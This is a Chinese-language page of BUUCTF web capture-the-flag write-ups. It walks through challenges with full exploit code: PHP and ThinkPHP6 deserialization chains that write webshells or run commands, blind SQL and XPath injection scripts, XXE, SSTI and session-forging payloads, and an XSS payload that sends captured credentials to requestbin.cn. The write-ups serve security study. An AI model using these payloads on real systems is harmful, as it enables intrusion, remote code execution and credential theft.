buuctf——web刷题第5页

第五页

目录

[[EIS 2019]EzPOP](#[EIS 2019]EzPOP)

[[WMCTF2020]Make PHP Great Again 2.0](#[WMCTF2020]Make PHP Great Again 2.0)

[[BSidesCF 2020]Hurdles](#[BSidesCF 2020]Hurdles)

[[安洵杯 2019]iamthinking](#[安洵杯 2019]iamthinking)

[[GWCTF 2019]mypassword](#[GWCTF 2019]mypassword)

[HFCTF2020]BabyUpload

[[NewStarCTF 2023 公开赛道]include 0。0](#[NewStarCTF 2023 公开赛道]include 0。0)

[SWPU2019]Web4

[PASECA2019]honey_shop

[[Black Watch 入群题]Web](#[Black Watch 入群题]Web)

[[GWCTF 2019]你的名字](#[GWCTF 2019]你的名字)

[[GoogleCTF2019 Quals]Bnv](#[GoogleCTF2019 Quals]Bnv)

[NPUCTF2020]ezlogin

[[RoarCTF 2019]Simple Upload](#[RoarCTF 2019]Simple Upload)

[[羊城杯 2020]Easyphp2](#[羊城杯 2020]Easyphp2)

[XNUCA2019Qualifier]EasyPHP

[[NewStarCTF 2023 公开赛道]Begin of HTTP](#[NewStarCTF 2023 公开赛道]Begin of HTTP)

virink_2019_files_share

[[NESTCTF 2019]Love Math 2](#[NESTCTF 2019]Love Math 2)

[[NewStarCTF 2023 公开赛道]ez_sql](#[NewStarCTF 2023 公开赛道]ez_sql)

[[DDCTF 2019]homebrew event loop](#[DDCTF 2019]homebrew event loop)

[[羊城杯 2020]Blackcat](#[羊城杯 2020]Blackcat)

[[NewStarCTF 2023 公开赛道]Unserialize?](#[NewStarCTF 2023 公开赛道]Unserialize?)

[[GYCTF2020]Node Game](#[GYCTF2020]Node Game)

[[NewStarCTF 2023 公开赛道]泄漏的秘密](#[NewStarCTF 2023 公开赛道]泄漏的秘密)

[[HFCTF 2021 Final]easyflask](#[HFCTF 2021 Final]easyflask)

[[2020 新春红包题]1](#[2020 新春红包题]1)

[watevrCTF-2019]Supercalc


[EIS 2019]EzPOP

给了源码了

复制代码
<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

B类分析

data反序列化,然后解题的点应该是这个

然后先找$data

来源与$value的序列化

------>使用set方法

expire=0

然后是filename

filename = this->getCacheKey($name);

expire变量调用了getExpireTime 这个函数,格式化为int类型

filename变量调用了getCacheKey这个函数,所以filename这个变量最终的值是和options['prefix']拼接而成,然后根据filename创建目录

A类分析:

array_filp()反转数组中所有的键以及它们关联的值

array_intersect_key()比较两个数组的键名,并返回交集

这里可以调用set方法且3个参数都有

那就是让store=new B()

__destruct方法调用save(),且autosace=false

ok,data = "\expire) . "\n exit();?>\n" . $data;这里是拼接了一个

<?php esit();?>

绕过:

由于<、?、()、;、>、\n都不是base64编码的范围,所以base64解码的时候会自动将其忽略,所以解码之后就剩php//exit了,9个字节,但是呢base64算法解码时是4个字节一组,所以我们还需要在前面加3个字符

base64就用filter:php://filter/write=convert.base64-decode/resource=

filename的由来:

这里的$name就是从A类的key传来的:

$key=1.php

options['prefix']=php://filter/write=convert.base64-decode/resource=

data的由来

data = "\expire) . "\n exit();?>\n" . $data;用base64绕

这个value是A中的content

我们可以构造cache这个变量为数组,然后经过两个函数的处理,我们可以控制complete这个变量为shell的数据,经过json_encode这个函数的处理之后,由于json格式的字符都不满足base64编码的要求,所以我们可以将数据进行base64编码绕过,也就是

A->complete=base64_encode('xxx',base64_encode('<?php @eval($_POST[1]);?>'))

if ($this->options['data_compress'] && function_exists('gzcompress')) {

//数据压缩

data = gzcompress(data, 3);

}

这个不用就options['data_compress']=0

首先将shellcode进行base64编码使得base64decode的时候不会影响其内容,然后再次进行base64_encode是为了绕过死亡exit,由于解码之后只剩21个字符,所以这里需要自己添加三个字符,使得前面有24个字符可以base64正常解码不影响后面shell的执行

那么到这里data的内容也构造好了,可是我们发现

使用php伪协议只解了一次编码,而我们这里经历了两次base64编码

前面提到了一个serialize函数

就然serialize等于dencode

链子:

A::__destruct->save()->getForStorage()->cleanStorage()

--->B::set()->getExpireTime()和getCacheKey()+serialize()->file_put_contents写入shell

复制代码
<?php
class A{
protected $store;
protected $key;
protected $expire;

public function __construct()
{
    $this->cache = array();
    $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST[1]);?>'));
    $this->key = "1.php";
    $this->store = new B();
    $this->autosave = false;
    $this->expire = 0;
}


}
class B{
    public $options = array();
    function __construct()
    {
        $this->options['serialize'] = 'base64_decode';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
        $this->options['data_compress'] = false;
    }
}
echo urlencode(serialize(new A()));

O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A5%3A%221.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A52%3A%22eHh4UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3B%7D

然后get传参data就可以了

http://57d62027-6137-473e-a299-98df1ae1ab6e.node5.buuoj.cn:81/1.php

蚁剑连接

做完之后快上天了

[WMCTF2020]Make PHP Great Again 2.0

一毛一样啊

require-once如果包含过多软链接就会失效

  • /proc/self//proc/[pid]/ 的软链接,指向当前进程的 /proc/[pid] 目录。
  • /proc/self/root 是指向当前进程的 根目录(root directory) 的软链接
软链接的基本概念
  • 软链接是一个独立的文件,它的内容只是一个路径字符串。
  • 它指向另一个实际存在的文件或目录。
  • 如果原文件被删除,软链接会变成"死链"(失效)

payload:

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

[BSidesCF 2020]Hurdles

源码,抓包,robots.txt都没东西,看看这个 /hurdles

PUT访问

在结尾加个!

那就是/hurdles/!

get=flag

这里是让我们get提交 &=&=& 这个参数,直接bp写肯定不行的,我们就url编码:

%26%3D%26%3D%26

要等于%00加一个换行符(这里的另外一个'在下一行),还是url编码

需要认证,已知username=player

HTTP Basic Authentication

(HTTP 基本认证)是一种简单的、内置于 HTTP 协议中的用户身份验证机制。它的核心思想是:客户端在发送请求时,直接将用户名和密码附加在 HTTP 请求头中,以证明自己的身份

收到 401 响应后,客户端(或用户)会提示输入用户名和密码。一旦用户输入,客户端会执行以下操作:

  1. 拼接 :将用户名和密码用冒号连接,形成 username:password**。**
  2. 编码 :将这个字符串进行 Base64 编码
  3. 发送:将编码后的字符串放入 Authorization****请求头中,再次发送请求

Authorization: Basic cGxheWVyOnBsYXllcg==

然后这里提示密码是open sesame的md5加密

54ef36ec71201fdf9d1423fd26f97f6b

然后player:54ef36ec71201fdf9d1423fd26f97f6b base64加密:cGxheWVyOjU0ZWYzNmVjNzEyMDFmZGY5ZDE0MjNmZDI2Zjk3ZjZi

改UA头:

指定9000版本:

试试127.0.0.1

需要额外的代理转发 ,随便试试

X-Forwarded-For:13.37.13.37,127.0.0.1

要一个cookie,猜测名字就是Fortune

需要Cookie 中包含2011年的RFC编号

网站

6265

只接受纯文本(MIME)形式的请求 ,改accept:

MIME(纯文本)Accept:text/plain

不是,为什么有俄语,这还能是啥,accept-language吧

语言代码缩写资料

加Referer

发现不行,看了其他师傅的才知道这是origin参数

这个才是Referer

蚌埠住了

[安洵杯 2019]iamthinking

看到题目的thinking,感觉是thinkphp系类的

访问/public/

这里是www.jpg 那根据经验,可能有www.zip,<------还真有

看了看,这个是thinkphp6的漏洞,信息搜集一下脚本:

复制代码
<?php
 
namespace think\model\concern;
 
trait Attribute
{
    private $data = ["key" => ["key1" => "cat /flag"]];
    private $withAttr = ["key"=>["key1"=>"system"]];
    protected $json = ["key"];
}
namespace think;
 
abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $jsonAssoc;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}
 
namespace think\model;
 
use think\Model;
 
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
$c = array($b);
echo urlencode(serialize($c));

payload:

a%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A4%3A%22key1%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7D%7D%7D

[GWCTF 2019]mypassword

看到有个login.php,那猜测有个register

登陆后

这里有几个php文件

复制代码
if(is_array($feedback)){
                echo "<script>alert('反馈不合法');</script>";
                return false;
            }
            $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
            foreach ($blacklist as $val) {
                while(true){
                    if(stripos($feedback,$val) !== false){
                        $feedback = str_ireplace($val,"",$feedback);
                    }else{
                        break;
                    }
                }
            }

然后登录界面有个代码:

复制代码
if (document.cookie && document.cookie != '') { //Cookie是一个由该域名下的所有cookie的值对所组成的字符串,值对间以"分号加空格"分隔
    var cookies = document.cookie.split('; '); //为了方便查看,可以使用split()方法将cookie中的值对解析出来,得到一个cookie的列表
    var cookie = {};
    for (var i = 0; i < cookies.length; i++) {
        var arr = cookies[i].split('=');  // 解析出值
        var key = arr[0];
        cookie[key] = arr[1];
    }
    if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
        document.getElementsByName("username")[0].value = cookie['user'];  
        document.getElementsByName("password")[0].value = cookie['psw']; //返回页面中标签名属性为name的对象
    }
}

然后就是脚本:

<inpcookieut type="text" name="username"></inpcookieut>

<inpcookieut type="text" name="password"></inpcookieut>

<scricookiept scookierc="./js/login.js"></scricookiept>

<scricookiept>

var uname = documcookieent.getElemcookieentsByName("username")[0].value;

var passwd = documcookieent.getElemcookieentsByName("password")[0].value;

var res = uname + " " + passwd;

documcookieent.locacookietion="http://requestbin.cn:80/172on5c1/?a="+res;

</scricookiept>

网站的话是这个:RequestBin --- Collect, inspect and debug HTTP requests and webhooks

(我看其他人都是用buu的404 Not Found,那是那个现在好像没了)

反正就是最后

会在右侧的那列显示出来,但是由于这个是外网,buu的到不了

[HFCTF2020]BabyUpload

复制代码
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>

flag的条件:

username=admin 然后 filename存在

php的session默认存储文件名都是sess_+PHPSESSID这种格式

sess_0fd2328704907ad5af435d3fee590700

可以看到session的形式:

所以这里为第二种

脚本:

复制代码
import hashlib
from io import BytesIO
import requests
 
url = 'http://302f206a-db2d-42fe-8d6e-52317003d9f9.node5.buuoj.cn:81/index.php'
# 第一步:上传伪造的session文件
files = {"up_file": ("sess", BytesIO('\x08usernames:5:"admin";'.encode('utf-8')))}
data = {
    'direction':'upload',
    'attr':''
}
res = requests.post(url, data=data ,files=files)
 
# 第二步:获取后面请求时的session_id
session_id = hashlib.sha256('\x08usernames:5:"admin";'.encode('utf-8')).hexdigest()
 
# 第三步:在/var/babyctf/下创建success.txt目录
data1 = {
    'attr': 'success.txt',
    'direction': 'upload'
}
res1 = requests.post(url=url, data=data1, files=files)
 
# 第四步:通过上面获取的session_id发起请求,获取flag
cookie = {
    'PHPSESSID':session_id
}
flag_res = requests.post(url,cookies = cookie)
print(flag_res.text)

取自

这里解释一下,具体做法就是因为我们的session需要username=admin

我们通过

这一段的文件上传把我们伪造的session传上去,然后根据

来确定sess_后面的值(就是确定我们要访问到这个伪造session的PHPSESSID)

然后就是要创建一个success.txt文件

最后就是让PHPSESSID=我们计算好的值,让他验证的时后指向我们构造的session文件

[NewStarCTF 2023 公开赛道]include 0。0

文件包含的其他姿势

文件包含,但是base系列和rot系列不让用,那就用其他的:

php://filter/convert.iconv.utf-8.utf-7/resource=<目标文件名> //将utf8编码转换utf7编码

php://filter/convert.iconv.utf8.utf16/resource=<目标文件名> //将utf8编码转换utf16编码

然后替换成{}就ok

[SWPU2019]Web4

抓包看看:

这里我的username是123;,显示202,那就是存在堆叠注入

由于过滤了select,if,sleep,substr等大多数注入常见的单词,但是注入又不得不使用其中的某些单词。那么在这里我们就可以用

16进制+mysql预处理来绕过

脚本:

复制代码
#author: c1e4r
import requests
import json
import time

def main():
    #题目地址
    url = '''http://9fa24a69-9699-4c20-9e76-2b6b6616747e.node5.buuoj.cn:81/index.php?r=Login/Login'''
    #注入payload
    payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
    flag = ''
    for i in range(1,30):
        #查询payload
        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
        for j in range(0,128):
            #将构造好的payload进行16进制转码和json转码
            datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
            data = json.dumps(datas)
            times = time.time()
            res = requests.post(url = url, data = data)
            if time.time() - times >= 3:
                flag = flag + chr(j)
                print(flag)
                break

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
    main()

然后注入出来了:glzjin_wants_a_girl_friend.zip

那就是源码咯,审计一下:

这里有一个extract变量覆盖,然后flag是在flag.php中,然后我们去看看哪里用到了这个loadView

而且第二个参数可控

这里userIndex 的 ListData参数,即_REQUEST

入口就是这个img_file了,那就用post提交

然后看这个传参:

index.php?r=Login/Index

那就Login是Model的,Index是View那个的,所以就是User/Index

[PASECA2019]honey_shop

买flag

jwt:

那就是1336改成1337,但是我们要知道session的私钥

这里就一个/download

发现是可以目录遍历的

嗯然后想要私钥,试试环境变量

/proc/self/environ

SECRET_KEY=y9H8e6KIN8003UaB4Mga7EgU8ij4Z9dWoIb1xFP3

脚本:

复制代码
from flask.sessions import SecureCookieSessionInterface
import ast

class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key

def encrypt_flask_session(secret_key, session_data):
    """加密Flask会话数据"""
    try:
        app = MockApp(secret_key)
        session_data = dict(ast.literal_eval(session_data))
        si = SecureCookieSessionInterface()
        s = si.get_signing_serializer(app)
        return s.dumps(session_data)
    except Exception as e:
        raise Exception(f"[Encoding error] {e}")

# 示例用法
session_data = "{'balance': 1339, 'purchases': []}"
secret_key = "y9H8e6KIN8003UaB4Mga7EgU8ij4Z9dWoIb1xFP3"  # 替换为Flask应用的实际SECRET_KEY

try:
    encrypted_cookie = encrypt_flask_session(secret_key, session_data)
    print(encrypted_cookie)
except Exception as e:
    print(e)

eyJiYWxhbmNlIjoxMzM5LCJwdXJjaGFzZXMiOltdfQ.aJgNCg.xx0eWP4ksskQHeI4LO4rBBS9K94

[Black Watch 入群题]Web

看看给的两个页面:

这里可以控制id的参数来变化

json格式

脚本:

复制代码
import  time
import re
import requests
import string

url = "http://17485d53-c01f-410b-96ea-45e5000e6600.node5.buuoj.cn:81/backend/content_detail.php"
flag = ''

def payload(i, j):
    time.sleep(0.2)
    # 数据库名字
    #sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
    # 表名
    #sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),%d,1))>%d)^1"%(i,j)
    # 字段名
    #sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),%d,1))>%d)^1"%(i,j)
    # 查询flag
    sql = "1^(ord(substr((select(group_concat(password/username))from(admin)),%d,1))>%d)^1" % (i, j)
    data = {"id": sql}
    r = requests.get(url, params=data)
    if "title" in r.text:
        res = 1
    else:
        res = 0
    return res


def exp():
    global flag
    for i in range(1, 10000):
        print(i, ':')
        low = 31
        high = 127
        while low <= high:
            mid = (low + high) // 2
            res = payload(i, mid)
            if res:
                low = mid + 1
            else:
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)


exp()
print('flag=', flag)

username:aef068bb,1da4a5fc

password:e66dc419,6c165f7c

[GWCTF 2019]你的名字

ssti{{}}过滤

学习

这里用这个发现ban了,那么极有可能是ssti

{{}}不能用,但是可以用{%%}

{% print lipsum%}

这个模块可以用

{%print lipsum.globals['bui'+'ltins']['im'+'port']('o'+'s')['po'+'pen']('tac /flag_1s_Hera

').read()%}

[GoogleCTF2019 Quals]Bnv

本地DTD与XXE

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例

没思路,看了其他师傅的这个是一个本地xxe

这里是json格式,改成xml格式:

payload:

<?xml version="1.0" ?>

<!DOCTYPE message [

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

<!ENTITY % ISOamsa '

<!ENTITY &#x25; file SYSTEM "file:///flag">

<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">

&#x25;eval;

&#x25;error;

'>

%local_dtd;

]>

参考这篇文章

Arseniy Sharoglazov: 3 posts tagged XXE

就是说我们在尝试远程DTD的时候是发现被禁止了

解析

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

  • 声明一个参数实体%local_dtd,它会从本地文件系统加载 DTD 文件 /usr/share/yelp/dtd/docbookx.dtd
  • 目的是引入一个合法的 DTD 文件,让 XML 解析器"信任"这个文档是"合法"的,从而允许后续实体解析。
  • 有些 XML 解析器会阻止没有 DTD 的 XXE 攻击,所以引入一个真实存在的 DTD 可绕过某些防护。

<!ENTITY % ISOamso '...'

  • 定义另一个参数实体 %ISOamso,其内容是一段嵌套的 DTD 代码。
  • 注意:%ISOamso 是一个内部参数实体,其内容被包裹在单引号中。

%ISOamso 内部:

<!ENTITY &#x25; file SYSTEM "file:///flag">

      • &#x25;% 的 HTML 实体编码(十六进制 25 = %)。
      • 所以这行等价于:xml
      • <!ENTITY % file SYSTEM "file:///flag">
      • 定义一个参数实体 %file,其值为 /flag 文件的内容。

<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#x27;>">

      • &#x26;& 的 HTML 实体编码。
      • 所以这行等价于:xml
      • <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaaaa/%file;'>">
      • 这是一个"嵌套实体":%eval 会定义另一个实体 %error,它的 SYSTEM URI 中包含了 %file 的值(即 /flag 的内容)。

&#x25;eval;&#x25;error;

      • 等价于 %eval;%error;
      • %ISOamso; 被调用时,会执行 %eval;,从而触发 %error 的定义。
      • %error 的 SYSTEM URI 变成了:
      • file:///aaaaa/<内容来自 /flag>
      • 如果 /flag 的内容是 hello,那么最终 URI 是:
      • file:///aaaaa/hello
      • 由于这个路径不存在,某些 XML 解析器会抛出错误,并在错误信息中包含这个非法路径,从而泄露 /flag 文件的内容。

[NPUCTF2020]ezlogin

XPath注入

抓包完是这样的,xml格式啊

发现这题是XPath注入

之前没搞过,

首先先判断根节点

'or count(/)=2 or ''='

'or count(/)=1 or ''='

脚本:

复制代码
import requests
import re
import time
 
session = requests.session()
url = "http://e396ba63-2043-4878-9ead-d5382673d9ee.node5.buuoj.cn:81/"
chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
head = {
    'Content-Type': 'application/xml',
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
        }
find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />',re.S)
result = ""
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[3]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
 
def get_token():     #获取token的函数
    resp = session.get(url=url)  #如果在这里用headers会得到超时的界面
    token = find.findall(resp.text)[0]
    #print(token)
    return token
 
for x in range(1,100):
    for char in chars:
        time.sleep(0.2)
        token = get_token()
        playload = payload_password.format(x, char, token)   #根据上面的playload来改
        #print(playload)
        resp = session.post(url=url,headers=head, data=playload)
        #print(resp.text)
        if "非法操作" in resp.text:
            result += char
            print(result)
            break
    if "用户名或密码错误" in resp.text:
        break
 
print(result)

脚本取自

结构就是username=adm1n

密码的md5是 cf7414b5bdb2e65ee43083f4ddbc4d9f,解密得到gtfly123

登陆后:

有个file参数,然后源码有个base64加密的:

用filter:

?file=Php://filter/Read=convert.Base64-encode/resource=/flag

这里大写绕过:

得:

ZmxhZ3tmNzZmZTJkOC01NTI2LTQxYzktYmE4Ny05MGYyNTk3MGRmZDJ9Cg==

base64解密得flag

[RoarCTF 2019]Simple Upload

strip_tags绕过

源码:

这里有个strip_tags

去标记,那可以直接1.<>php

然后去看官方的文档,推出upload的url

index.php/home/index/upload

脚本:

复制代码
import  requests

url = "http://a3a8a3e9-d36f-4f2d-8f35-c2ef91e11ce7.node5.buuoj.cn:81//index.php/home/index/upload"

files={'file':('1.<>php',"<?php eval($_GET['cmd'])?>")}
r=requests.post(url=url,files=files)
print(r.text)

然后这里发现一访问就出flag了

[羊城杯 2020]Easyphp2

exec写马

嗯,看了以为是考改包,但是发现有个file参数

看看robots.txt

有个

尝试filter读取,发现有过滤,大小写尝试不行,试试url二次编码

?file=php://filter/read=%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2565%256E%2563%256F%2564%2565/resource=check.php

ok,知道改什么了

然后我们读一下GWHT.php

复制代码
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>count is here</title>

    <style>

        html,
        body {
            overflow: none;
            max-height: 100vh;
        }

    </style>
</head>

<body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;">

<center><img src="question.jpg" height="200" width="200" /> </center>

    <?php
    ini_set('max_execution_time', 5);

    if ($_COOKIE['pass'] !== getenv('PASS')) {
        setcookie('pass', 'PASS');
        die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
    }
    ?>

    <h1>A Counter is here, but it has someting wrong</h1>

    <form>
        <input type="hidden" value="GWHT.php" name="file">
        <textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
        <input type="submit">
    </form>

    <?php
    if (isset($_GET["count"])) {
        $count = $_GET["count"];
        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
            die('hacker!');
        }
        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
    }
    ?>

</body>

</html>

这里有个exec函数,估计是写马

